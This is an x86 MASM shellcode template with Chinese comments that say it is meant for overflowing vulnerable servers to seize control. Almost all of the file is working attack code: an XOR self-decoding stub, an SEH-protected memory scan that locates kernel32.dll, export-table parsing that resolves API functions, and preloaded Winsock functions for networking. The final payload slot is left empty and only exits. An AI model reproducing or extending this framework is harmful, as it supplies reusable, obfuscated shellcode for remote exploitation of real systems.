;shellcode是用于溢出以取得服务控制的代码,涉及细节很多,
;;以下是核心的部分,其他的,自己去想,很好玩的。
;;想像一下,你发送一个字符串到有溢出漏洞的服务器,然后,
;;莫名其妙的取得了控制,好玩吧?不过~~~问题好多~~~
.386
.model flat,stdcall
option casemap:none
include windows.inc
_GetFunAddress proto :dword,:dword,:dword
_Strcmp proto :dword,:dword
.code
;;//这段代码虽然就几句话,可能对你的汇编语言有很大启发哦...
jmp SL2
SL1:
pop esi
xor eax,eax
xor ecx,ecx
mov cx,480h
mov al,6
inc al
@@:
xor [esi],al
inc esi
loop @B
jmp start
SL2:
call SL1
dwVirtualBase dd ?
lpExports dd ?
szGetProcAddress db "GetProcAddress",0
start:
jmp start2
;;;;;;;;;;结构化异常处理过程;;;;;;;;;;;;;;;;;;
;;内存扫描时,难免会遇到异常吗,不过,咱绕过去*-*
_SEHHandler proc C _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext
pushad
mov esi,_lpExceptionRecord
mov edi,_lpContext
assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
mov eax,_lpSEH
push [eax + 0ch]
pop [edi].regEbp
push [eax + 8]
pop [edi].regEip
push eax
pop [edi].regEsp
assume esi:nothing,edi:nothing
popad
mov eax,ExceptionContinueExecution
ret
_SEHHandler endp
;;;;;;;;;;;;;;;;程序开始执行处;;;;;;;;;;;;;;;;;;;;;;
start2:
;>>>>>>>>>>>>>>>>>>>> 寻找kernel32.dll >>>>>>>>>>>>>>>>>>>>>>>
///这条指令干嘛呀这是?获得当前指令地址的呀~~
call @F
@@:
pop ebx
;;;;;;获得执行基址;;;;;
sub ebx,offset @B
push ebx
;;;;;;保存基址;;;;;
assume fs:nothing
push ebp
lea eax,[ebx + offset PE1]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
mov eax,esp;;;;;; mov eax,fs:[0]
jmp SEH1
SEH2:
mov ebx,[eax + 4]
mov eax,[eax]
SEH1:
cmp eax,0ffffffffh
jnz SEH2
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
xor bx,bx
@@:
cmp word ptr [ebx + 00],5a4dh
jnz PE1
mov eax,[ebx + 3ch]
cmp dword ptr [eax + ebx + 0],4550h
jz @F
PE1:
sub ebx,10000h
jmp @B
@@:
mov esi,ebx
assume esi:ptr IMAGE_DOS_HEADER
mov eax,[esi].e_lfanew
add eax,esi
assume eax:ptr IMAGE_NT_HEADERS
mov esi,[eax].OptionalHeader.DataDirectory.VirtualAddress
add esi,ebx
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov esi,[esi].nName
add esi,ebx
mov edx,ebx
assume esi:nothing
mov eax,[esi]
cmp eax,4e52454bh
jnz PE1
pop fs:[0]
add esp,0ch
pop ebx
mov [ebx + dwVirtualBase],edx
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov esi,edx
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
assume esi:ptr IMAGE_DOS_HEADER
mov edx,[esi].e_lfanew
add edx,esi
assume edx:ptr IMAGE_NT_HEADERS
mov ecx,[edx].OptionalHeader.DataDirectory.VirtualAddress
add ecx,esi
mov [ebx+lpExports],ecx
assume esi:nothing,edx:nothing
;>>>>>>>>>>>>>>>>>在内存中寻找函数>>>>>>>>>>>>>>>>>>>>>>>
invoke _GetFunAddress,[ebx + lpExports],[ebx + dwVirtualBase],addr [ebx + szGetProcAddress]
mov [ebx + _GetProcAddress],eax
lea eax,[ebx + szLoadLibrary]
push eax
push [ebx+dwVirtualBase]
call [ebx + _GetProcAddress]
mov [ebx + _LoadLibraryA],eax
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;;;;;;;;;;;;;;在此处添加代码;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
jmp YOURCODE
MyString db "Hello Shellcode World!",0
;>>>>>>>>>>>>>>>>模块名>>>>>>>>>>>>>>>>>>>>
szKernel32 db "kernel32.dll",0
szUser32 db "user32.dll",0
szWsock32 db "WSOCK32.dll",0
szntdll db "ntdll.dll",0,0
;>>>>>>>>>>>>>>>>>模块地址>>>>>>>>>>>>>>>>>
lpKernel32 dd ?
lpUser32 dd ?
lpWsock32 dd ?
lpntdll dd ?
;>>>>>>>>>>>>>>函数名称>>>>>>>>>
;;kernel32
szExitProcess db "ExitProcess",0
szLoadLibrary db "LoadLibraryA",0
szGetProcAddr db "GetProcAddress",0,0
;;;;;user32
szwsprintfW db "wsprintfA",0
szMessageBox db "MessageBoxA",0,0
;;;;;Wsock32
szWSAStartup db "WSAStartup",0
szWSACleanup db "WSACleanup",0
szgethostbyname db "gethostbyname",0
szinet_ntoa db "inet_ntoa",0
szhtons db "htons",0
szinet_addr db "inet_addr",0
szsocket db "socket",0
szconnect db "connect",0
szclosesocket db "closesocket",0
szrecv db "recv",0
szsend db "send",0,0
;;;;;ntdll.dll
szmemset db "memset",0
szmemcpy db "memcpy",0,0
;>>>>>>>>>>>>>>>>>>>>>函数地址>>>>>>>>>>>>>>>>>>>>
;;;;;kernel32.dll
_ExitProcess dd ?
_LoadLibraryA dd ?
_GetProcAddress dd ?
;;user32
_wsprintfW dd ?
_MessabeBox dd ?
;;wsock32.dll
_WSAStartup dd ?
_WSACleanup dd ?
_gethostbyname dd ?
_inet_ntoa dd ?
_htons dd ?
_inet_addr dd ?
_socket dd ?
_connect dd ?
_closesocket dd ?
_recv dd ?
_send dd ?
;;ntdll.dll
_memset dd ?
_memcpy dd ?
szFmt db "%08x",0
szBuf db 9 dup(?)
index dd 4
YOURCODE:
push ebp
mov ebp,esp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;>>>>>>>>>>>>>>>>LoadLibraryModule>>>>>>>>>>>>>>>>>
lea edi,[ebx + szKernel32]
lea esi,[ebx + lpKernel32]
xor ecx,ecx
dec ecx
cld
@@:
push edi
call [ebx + _LoadLibraryA]
xchg esi,edi
stosd
xchg esi,edi
xor al,al
repnz scasb
cmp byte ptr [edi],0
jnz @B
;>>>>>>>>>>>>>>>>>>>GetFuctionAddress>>>>>>>>>>>>>
xor ecx,ecx
dec ecx
lea edi,[ebx + szExitProcess]
lea esi,[ebx + _ExitProcess]
lea edx,[ebx + lpKernel32]
cld
@@:
push edx
push edi
mov edx,[edx]
push edx
call [ebx + _GetProcAddress]
pop edx
xchg esi,edi
stosd
xchg esi,edi
xor al,al
repnz scasb
cmp byte ptr [edi],0
jnz @B
add edx,4
inc edi
sub dword ptr [ebx + index],1
jne @B
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;ADD YOUR CODE HERE...
push 0
call [ebx + _ExitProcess]
;leave
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_strcmp proc string1,string2
local @Return
pushad
mov esi,string1
mov edi,string2
xor eax,eax
xor ecx,ecx
dec ecx
cld
mov edx,edi
repnz scasb
xchg edx,edi
repe cmpsb
sub edi,edx
dec edi
mov @Return,edi
popad
mov eax,@Return
ret
_strcmp endp
_GetFunAddress proc _lpExports,_VirtualAddress,_lpszFunName
local @lpNamesTable,@lpAddOfFun,@Return
pushad
mov esi,_VirtualAddress
mov ecx,_lpExports
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
assume ecx:ptr IMAGE_EXPORT_DIRECTORY
mov ebx,[ecx].AddressOfNames
add ebx,esi
mov @lpNamesTable,ebx
mov edx,[ecx].AddressOfNameOrdinals
add edx,esi
mov ebx,[ecx].AddressOfFunctions
add ebx,esi
mov @lpAddOfFun,ebx
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
mov ebx,@lpNamesTable
mov ecx,[ecx].NumberOfNames
assume ecx:nothing
@@:
push ecx
mov edi,[ebx]
add edi,esi
push edx
mov eax,_lpszFunName
invoke _strcmp,eax,edi
pop edx
test eax,eax
pop ecx
je @F
add ebx,4
add edx,2
loop @B
@@:
movzx eax,word ptr [edx]
xor edx,edx
mov ebx,4
mul ebx
mov ebx,@lpAddOfFun
add ebx,eax
mov eax,[ebx]
add eax,esi
mov @Return,eax
popad
mov eax,@Return
ret
_GetFunAddress endp
end start